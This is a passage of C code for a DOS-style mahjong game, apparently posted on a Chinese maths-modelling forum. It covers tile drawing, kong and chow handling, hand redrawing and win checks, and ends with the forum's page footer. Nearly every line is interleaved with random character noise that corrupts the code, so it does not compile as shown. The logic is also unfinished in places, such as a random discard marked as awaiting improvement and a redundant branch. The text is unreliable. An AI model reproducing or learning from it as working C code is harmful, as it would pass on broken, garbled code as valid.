6 f6 h: J$ Q0 x; z9 ukkkk=0;
6 K/ F8 D3 C, H4 M' A, Iwhile(kkk&lt;=computer.m)2 a' B$ g1 ~$ q% L
{
; C' }& h  \' `  k6 fif(kkk!=temp)+ Q) q* H+ _5 A
{
0 i, ]) p& [; ]. scomp.pp[kkkk].k=computer.pp[kkk].k;
1 Y5 K# \5 D7 E& S. Ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;; F5 ]; ^+ Q6 p
comp.pp[kkkk].number=computer.pp[kkk].number;
7 c# T; b8 `" s/ L6 {$ @kkkk++;  e( r( K! S  N0 V
}
  Y: d6 D9 ]) B5 `else2 m: i- t: Y8 O* v  B
m[computer.pp[kkk].number].data1=1;  s% M+ L+ {# q/ M. y3 g
kkk++;
9 o: a6 E7 U% l}, m. j5 g; z9 u+ \$ G2 y6 \0 p
kkk=0;1 C- V* Y1 m9 M: Z4 o+ C1 B! n
computer.m=computer.m-1;
5 n  A% B" N2 }2 {; Dwhile(kkk&lt;=computer.m) , B, q( C+ ^7 p3 H
{
% Y$ P& O9 v3 @! F* jcomputer.pp[kkk].k=comp.pp[kkk].k;
. U; Y% B3 V+ ]3 t& ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
" T! O' \' g3 o$ m4 X6 L0 }8 wcomputer.pp[kkk].number=comp.pp[kkk].number;
- k1 [1 ], H& X' S; n% _" @3 A) ckkk++;! t: f3 d1 {7 a
}
" y/ s' k4 v6 v* h5 Z* ]* P6 B( pfillRectangle(0,0,320,30,0);$ t& h, h7 j& Z/ z, R2 Z; h$ H) S
n=computer.m;7 j% n! G2 h3 ^; D% F0 d( H" T
ll=0;
* e* [- R* V2 d, B4 Izy=0;9 d/ n7 n8 R7 P
while(ll&lt;=n)
6 o3 n, C/ O, k2 W* `7 A* ?, J9 x8 f7 l1 j{, U$ ~$ E! M* ~: o- X* B6 M
zy=zy+20;
- X% H7 |# m" N  p5 E! K9 j  n: |showybmp(ll);
, g& v' p8 z# S! s  |ll++;
& m( Q6 F' N6 P}
  l9 s# t; O. l, F0 Y; n3 ^ll=0;( a: ?5 k% h, t$ M6 z
getch();) l, [7 v4 Z' p
sing=0;
8 \3 w* M' |$ C$ {& u, v: tsing1=1;
& l! ~  m9 N" q, I& v4 I8 }}# F8 E# H# u2 q1 j% g: d

" U: ^) P0 ^: u+ ?$ |7 }) h+ ~+ W" gif(sing==2) /*如果可以杠的做相应处理*/
/ T# x3 G; E6 }{
* |; {/ F! q" \' {0 Ikkk=0;
  @/ d" {9 I# vkkkk=0;
' n' a, R. O) s# U/ swhile(kkk&lt;=computer.m)9 @* j# X$ m. a; P. j8 R
{" k9 x+ R6 h, d4 A. Q" [
if(computer.pp[kkk].g!=1)
; Z; W  j. \' \& x/ S' l{- n, w1 C) y8 K. B2 Q% o
comp.pp[kkkk].k=computer.pp[kkk].k;
2 v/ ?4 y7 V* u/ V" w; u6 n# ycomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;( _+ D' B3 R( v' u! H' q
comp.pp[kkkk].number=computer.pp[kkk].number;
/ `% C  r6 ?, pkkkk++;5 i4 j9 r0 A& N/ B2 P
}, x  w/ K0 W7 k5 [. K" q
else
: ~3 a: a- K+ I{; ~# A$ v7 l( t# S, \
m[computer.pp[kkk].number].data1=1;4 ~, t) I5 h9 M. U
dweig=computer.pp[kkk].number;
# S+ y  ^1 O' I& N% U% v, G' Acomputer.pp[kkk].g=0;# E% q4 \& t6 s
}
: `* ?5 V6 x* `  H2 Rkkk++;  K( J3 D( z, H' D/ {- O6 Z9 z: x
}
& m' t  |, n4 oll=0;
4 D7 @/ D# M7 S9 ~
' D& t7 L, d9 u# Z6 _; y3 ^" Kwhile(ll&lt;=3)+ J1 x  d0 u, m, ^0 c
{ zl=zl+20;
. V% i. {. _5 s/ K! Y: S9 ^  d( |bmpp(dweig); /*显示杠的牌*/0 v% v2 V$ w9 a) x6 W
ll++;
! C( W+ G2 n2 t- l* d}. t2 p9 {; E& I) @7 Y( \3 z
zl=zl+9600-60;1 z  j4 u8 C9 f; o6 d: y1 {
kkk=0;8 q1 U9 a% o5 y
computer.m=computer.m-3;' ^5 Z6 `5 c% S: \  a+ t" U
while(kkk&lt;=computer.m)
7 U6 Q" I5 A* q) \2 Z. h! q4 I$ e{
! R0 W  _' A: \; H7 X3 B5 [; ucomputer.pp[kkk].k=comp.pp[kkk].k;
5 w# w9 r$ {# ]+ P' W2 pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" E9 x3 v" m: G0 U! o
computer.pp[kkk].number=comp.pp[kkk].number;
! N" A4 H3 ]- ^9 Pkkk++;5 l( p- R1 ]0 J% Y2 `
}  B" _5 p* x) a$ b" [  B
kk=0;
* {5 F2 j6 t) q4 |) H  dcomputer.m++; /*加一个牌的容量*/1 i) s- g, @' H9 r: ]
while(kk!=1)# Z) l9 @6 w, F5 ^1 E
{
. Y6 m& h. V. C0 M" Htemp=random(136); /*出牌*/! ~+ `+ @: D2 Q
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
: \. M9 E+ M2 F. z{
" G0 x# N, ]; scomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
) \0 `  ^. f1 M1 W( G4 [$ Acomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/& P" Y: j/ l8 b: i0 A9 I2 N
computer.pp[computer.m].number=temp; /*第几张,用来排序*/  C! o/ M$ l( c! B, k! ?
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
. k$ i4 ]. M" R3 d6 l' @9 kkk=1;  A2 ~- ~  z: }9 p1 P
}
, B$ u/ {% l: r- B3 l) a}0 x1 f2 N- n. B
comlipai();0 G- k6 i# a. T
temp=random(computer.m); /*出牌,等待完善*/# t  ~! |- P6 X* X+ x9 {
zyy=zyy+9280+20;: W' A, q0 r0 G' J0 j$ m+ G. T
showcbmp(temp);. c: O; @; Z0 I* {1 j  d
zyy=zyy-9280;  l( r' d" C1 B' E
/*****/
2 V) R" W5 G' t& K5 j( a& drgznme(temp);
2 `' L/ `- ^' D! [. Dpanduan();3 X8 C  Y% A" c" R6 }7 ?  y: w5 Z+ c
if(me.m==0)
3 k( U: ~. R  Y; ?% v) ?if(second==1 &amp;&amp; threes==0)$ a$ I2 U3 t5 `$ }7 N$ {- B/ ?
printf("you win!");
3 G* E; p0 e4 d# N4 xif(me.m==3)9 Z% V; j9 @# a! ^
if(second==1 &amp;&amp; threes==1)) i/ u# v* \' N! [9 L$ x
printf("you win!");) W* x: l8 w# b7 T2 t. c' N: h
if(me.m==6). [) f+ }# P! l
if(second==1 &amp;&amp; threes==2)4 @! H8 b% ~& y
printf("you win!");
0 _; O/ Y' ^4 U: P2 Iif(me.m==9)
8 |8 [6 Q2 i' m" R. tif(second==1 &amp;&amp; threes==3)% v- }$ z2 A0 E3 h/ b0 C
printf("you win!");1 a/ t+ ]& {! N2 t) u! J
if(me.m==12)
. K, O. f8 b: d/ g6 Dif(second==1 &amp;&amp; threes==4)" j1 y/ {+ h/ C8 F3 Q. w5 r
printf("you win!");
7 O& l2 R( E, r2 d3 d3 b" |8 e- G  G7 o
kkk=0;2 f+ L& M$ o0 ?' q4 M, u
kkkk=0;' }9 a# i: l- n8 s
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
! M+ {: _. o8 [2 a{
/ O% o' _1 ?  ?if(kkk!=temp)1 e/ `! K/ j. {
{
6 }1 z& Y. m% }5 `comp.pp[kkkk].k=computer.pp[kkk].k;  g( f$ U; @2 G* X' x$ Z
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# x; a( `9 l. p0 q: _& Q- ^
comp.pp[kkkk].number=computer.pp[kkk].number;6 K. b& u: k' p3 L+ t/ ]
kkkk++;
) \! d5 z/ ^# S7 @+ T4 d, `}
1 H9 J" Q4 {* ^% A& f( c! delse
8 \6 B' ?9 |# M" M1 pm[computer.pp[kkk].number].data1=1;
0 w. I' L0 T0 b7 {kkk++;2 j+ C, q% U0 Q2 B: Y
}, W: E+ ~, A  v( ]2 }  Z6 e
kkk=0;
: r* R( z: k: zcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
- s- d! l+ G' D9 \3 R4 ^2 l# _while(kkk&lt;=computer.m)
7 f4 @8 r: G9 Z* q1 j{8 H; U/ ]3 R1 V2 X% F
computer.pp[kkk].k=comp.pp[kkk].k;
4 ]- L) M# \" F' y: c5 @# w" Y0 [$ ^- zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;3 g# @$ x3 G" C& w
computer.pp[kkk].number=comp.pp[kkk].number;" r% F2 v0 \5 t% i( s
kkk++;
/ t. l! L8 j2 T% ?$ v% Q+ a}  @9 b! ~1 D; v3 c1 c4 U5 O5 b
fillRectangle(0,0,320,30,0);
' Z* V8 i; A" R% K) `ll=0;
$ n6 {. G0 S5 T+ h' c5 i% c  Vzy=0;1 l" y1 X0 U; n, J1 x( }
while(ll&lt;=computer.m)! R3 z/ c4 Q5 Z0 I, l, u
{
  W9 n2 w  E# f% q  q: G. m: _zy=zy+20;
+ J) j2 c4 O) p4 ^showybmp(ll);6 ~. l- ~: r% [; w1 W2 n3 K
ll++;+ c. N" ~. D5 S; b, ]
}
$ [0 y) _3 M# W, f4 Osing=0;2 Y3 g- d* Z3 O( Z& T( W( H9 p
sing1=1;
. D6 y7 S1 d) `; t' f/ ^}0 R3 l0 Y) P. T$ |6 `% A
if(sing==7) /*如果可以吃的,做相应处理*/
4 J  M5 t& j3 T8 K{ nn=0;
) i5 C7 w1 T! V9 S+ nkkk=0;
8 @) ?) O- O: n. g7 fkkkk=0;; o9 V5 P! ~1 O
while(kkk&lt;=computer.m)# v. _' c$ R! ^+ s
{
! U4 G5 A+ x( Q5 ~3 Mif(computer.pp[kkk].c!=1)
  ]& U7 O. C! y3 y{- U  _: T1 M" t: T
comp.pp[kkkk].k=computer.pp[kkk].k;
1 C- I# q% l% `6 p. {comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;- F8 }2 L% ^! z% ^9 Q& A, ?
comp.pp[kkkk].number=computer.pp[kkk].number;" n- o) m" j8 W. o: u
kkkk++;  _8 x; e$ Q6 w3 K2 p5 r
}
. |* x  a2 t; P8 l& ^else
: d% R" q+ t4 \+ G4 J{- K% ]2 i5 I) q+ F6 Q1 q' E- |' k
m[computer.pp[kkk].number].data1=1;
3 k7 J1 m! b" C# ]: ^& q4 ?dw[nn++]=computer.pp[kkk].number;
/ b2 Y  i- @( T( G" k5 Vcomputer.pp[kkk].c=0;
3 x+ K5 U" V' {4 o& M* I/ d% I}
- F# F: J2 C$ lkkk++;
* R, T' \/ Y! m$ J, ]}
" p; D. ]: w& X( C. L
6 x+ G6 E% O3 R( a: gif(me.pp[every].number&lt;dw[0]). B5 P& l2 {5 i
{
) K: U, G" A+ ~; x- T9 N, Pdw[2]=dw[1];
: F% y# o  S6 m* pdw[1]=dw[0];; g6 C5 ?6 c9 C& ^' n  X& e! ]
dw[0]=me.pp[every].number;
2 T) |: ]" W8 `/ c}
2 a; }) a( p( Q* s+ k- I4 z- jif(me.pp[every].number&gt;dw[1])
) h0 d! x: O; {( x, `{
( H0 y! U! q* C: l: a9 {dw[2]=me.pp[every].number;% R( ]* f" i# N6 y
}
6 z$ i) B0 A% Q$ N, n3 Zif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
6 ]9 x- o0 d$ j9 {! G3 G{
2 M+ }6 V, e0 Edw[2]=dw[1];- k3 y0 o+ J) y3 g. Y9 Z' a1 @9 L; Y
dw[1]=me.pp[every].number;
4 t- N( O' v% U4 x5 Y6 `# T- [# p0 j' O}. K8 ]3 Z. O* B( q9 r7 g
nn=0;" E( T. `# S$ n! w
while(nn&lt;3)) M/ c( w4 U4 r( \5 {5 a* V2 E
{ zl=zl+20;
- P7 K; I: k7 h; l+ i* y4 cbmpp(dw[nn]); /*显示吃的牌*/
# g* z. S+ m+ qnn++;0 x5 `7 }/ C0 o$ S2 ?5 B( w; M; J* ~
}
' G! X. x, v5 J* t8 P- pzl=zl+9600-60;5 R  h& N" i; N6 n$ K
kkk=0;# A: w. I  u, I, V0 Y& c- z8 X; j
computer.m=computer.m-2;
1 p$ u. N& q7 H/ ?6 jwhile(kkk&lt;=computer.m)( K, H# Q9 O: [" m
{) D5 J# H- b' P2 F! V+ _
computer.pp[kkk].k=comp.pp[kkk].k;
) T8 g0 t2 Q# Mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;  [' ]1 I8 u- t. A/ }& b2 `! d
computer.pp[kkk].number=comp.pp[kkk].number;% N) o/ R; Y1 L- z$ h6 \
kkk++;
4 k$ b/ L' F3 i2 m% @9 A}: X' P8 @* Z1 E* Q  c- a% B
ll=0;9 `7 m# f3 c7 H% R: R5 {1 u
temp=random(computer.m); /*出牌等待完善*/  t; d- u( {6 F3 B% o
zyy=zyy+9280+20;8 O* b/ c' b  O8 a
showcbmp(temp);8 |8 u( G7 E9 X8 k
zyy=zyy-9280;
8 D  R4 u8 \& }6 N, e' K/*****/
& `: ~( b. M/ W7 n( H" ?) wrgznme(temp);
; ~" }4 r% W9 D1 T% R- H' ~+ cpanduan();; z7 k6 f8 t% r' Y( I! E/ k/ |
if(me.m==0)2 H1 @1 P/ ?. y: r  n
if(second==1 &amp;&amp; threes==0)
% O' N6 T( h9 J% H0 eprintf("you win!");
, W; t9 J( U3 ]; M1 ]/ c) xif(me.m==3)
% }9 C+ v9 j2 K' Nif(second==1 &amp;&amp; threes==1)
2 `' i* g2 e* j7 Wprintf("you win!");& N' A0 Q; t9 v$ n
if(me.m==6)' N+ D" X  i2 F/ s3 n
if(second==1 &amp;&amp; threes==2); Y+ d! u: m/ D$ X2 Y1 _
printf("you win!");
- o8 ~8 Y% i1 }' H% c/ wif(me.m==9)# n( H4 @* E% Y! J
if(second==1 &amp;&amp; threes==3)1 A+ @+ G- \/ u; u3 S2 ^- ~9 Y
printf("you win!");
+ g! q- v' X2 W( e) J6 ^if(me.m==12)
' D& `! c/ T* H& Q/ |% Nif(second==1 &amp;&amp; threes==4)( R9 _, _6 h! I! `$ b7 ]0 X, C
printf("you win!");
+ ^& }9 k1 j3 M: t& }+ y( r
8 K4 K# i! h' \+ G% |kkk=0;% c! @1 M4 p& J8 [7 h
kkkk=0;
& k, w: w* N) ~+ \- v! F. {8 @while(kkk&lt;=computer.m)
6 R( p( ]6 H; B6 g{
6 _! q; \( p, f$ hif(kkk!=temp)+ d- R9 a/ K& ^% D! T' J7 w/ y; ~
{! C% m* X+ z! @6 J
comp.pp[kkkk].k=computer.pp[kkk].k;
0 \* _* }9 B- ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;) }  Y8 z* Y7 b. S% v
comp.pp[kkkk].number=computer.pp[kkk].number;0 x0 P5 ~: v  ^8 r+ b5 z* E
kkkk++;
. N5 ~9 r- P  {) ^, [& N}# f: p: }  a* {7 z  R
else
' Y7 ~5 v4 L" `2 X+ O2 j2 b# t& D$ mm[computer.pp[kkk].number].data1=1;, x% A+ P; ^, c, Y$ u" x' N) I+ r
kkk++;6 \7 f2 ]. u; V4 h+ U9 K
}" N1 a+ K# S) i. Y5 P7 T, |
kkk=0;# @! L# Q; z! S" z8 l3 y( S8 \
computer.m=computer.m-1;
' y+ b' j. B9 P0 Z! m, ^while(kkk&lt;=computer.m)
! l  X! Z8 H; h' n& k* `! N{  w2 u, U+ k% B; O% d
computer.pp[kkk].k=comp.pp[kkk].k;
4 {- w+ I1 Y, Y! wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
* @3 V- [  Z( t- A3 M: Gcomputer.pp[kkk].number=comp.pp[kkk].number;) y2 k9 S% c1 ^8 R
kkk++;% [" p- @! T" E5 w5 _9 ]
}) L' l# F) H' Y( s0 {9 W
fillRectangle(0,0,320,30,0);
5 y: i$ h7 s5 R9 k. _n=computer.m;6 j/ e; f$ M) B( ?6 f
ll=0;- ?! l5 m9 B! ~/ l" v% E; K' @
zy=0;
4 D  v4 i. |8 \& s! g, n& |$ w$ ewhile(ll&lt;=n)
) t/ j7 ^) j0 O6 F{3 C0 F8 q* s& h* F/ _
zy=zy+20;6 |+ m9 T  j2 |
showybmp(ll);
# l% A. _9 n2 |) c0 v$ c; s. Mll++;
" v! t, }  C6 M1 t( v: r}
) E1 t' `3 K( A  C5 T9 ~$ m. H
getch();7 M" [9 X, j7 `1 D2 N' {
sing=0;
" G& n/ n' @) u$ L2 psing1=1;
& Y/ }* v; \! ~  w8 O8 K* q}
4 O* f& s5 \  B. `7 B8 n: rif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
% e" ^# |+ K/ C3 ]2 Q5 V4 X{
. t8 L2 n& i% g. l9 z+ wkk=0;
4 r+ v6 `; o, W1 `6 I) qh=me.pp[every].number;
+ h# ~  p5 b9 k* l% ]$ cm[h].data1=1; /*此牌已经无用*/4 ]6 M0 O6 u5 i4 B6 r" K( s
if(sing1!=1)8 h8 f+ l7 [& }7 {  Z  ]5 X, Y+ Q4 k+ A
{) a% v9 _: f4 [/ M5 g& h6 s9 E
zyy=zyy+9280+20;2 @& m( r5 U/ N3 G1 ~
showbmpd(every);
' D- B9 A1 \' P+ M: vzyy=zyy-9280;( `+ S1 j1 t! h  G- y
}
8 S, W! p! X: Y) k/ `while(kk!=1)
  @% W2 Q2 G8 g) d* b. Q{; l* r1 P8 o4 S. g# d* F% M0 F
temp=random(136);
5 `5 ?; H" M5 d: j: m2 h* U/ tif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)0 s- J: ?- K7 O/ U& h9 q
{1 C4 C$ d4 j  P0 }
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/& v# z5 t2 q6 \! r) D8 s* P# c
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
& _8 J9 f+ ~2 G/ I. nme.pp[every].number=temp; /*第几张,用来排序*/
% d" C3 G6 n: c: {. mm[temp].data2=1; /*判断牌是谁的*/
3 X5 n4 q3 V$ Y1 |+ s% C. h' Zkk=1;
) m8 E* V* i9 L9 q, ]; y5 J}
6 o. f0 }# g" d( X3 Q6 A# n! H/ I. ?if(kk==0) /*判断如果又选择了,就从新再选*/7 z7 ~- O& }% F9 u; @9 t1 e* i
kk=0;  G. `7 [: H6 z; ~: m
}
4 b1 a* ~9 v. ]1 Q6 Y3 h- F}
. J1 ?% i( B. Z1 Z9 ~# O) L) _1 j/ ksing=0;
! B; U4 p" x2 S& A9 osing1=0;5 G! Q2 G7 c0 V9 E2 i
melipai();( Z$ R6 b, [/ Q
n=13;5 f0 O# W3 G4 ?' L& V) H& }
z1=54400;
4 v* }) r4 y7 ql=0;
% X8 V" g2 w6 G+ u9 A5 [& Ng=z;
0 P! L5 `6 G% D$ f( c2 qwhile(l&lt;n)
% |; Y+ [9 h9 e' f6 l( m{ z=0;2 h, @( L! {* ~- b- \. l; F9 @2 r
z1=z1+20;: N0 \& @' Q3 @5 u
showbmp(l);
6 |5 a! x9 u( E% V9 nl++;7 W/ W- ?6 C) x/ r6 B
}, @+ k, w' u) _; i2 {
z1=0;% m# D! p3 j4 {6 Z* I
z=g;
, l5 q, b0 Q' c; S' q' |}
( `) P; r; U- V+ J) q. V( Hkeyy=0;
. n/ y# }, p, T5 I! |5 f8 [& P5 o}
. |6 g" g* k3 T! Y. m
; m# q" e$ U( _) ngetch();0 S0 s  V1 P  G' G& i" G0 M
OUTVGA;9 _" n" Y2 I+ x( y
} & a1 S2 `! Q- [4 B& K
</P></DIV>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-17 20:16 , Processed in 0.691277 second(s), 90 queries .

回顶部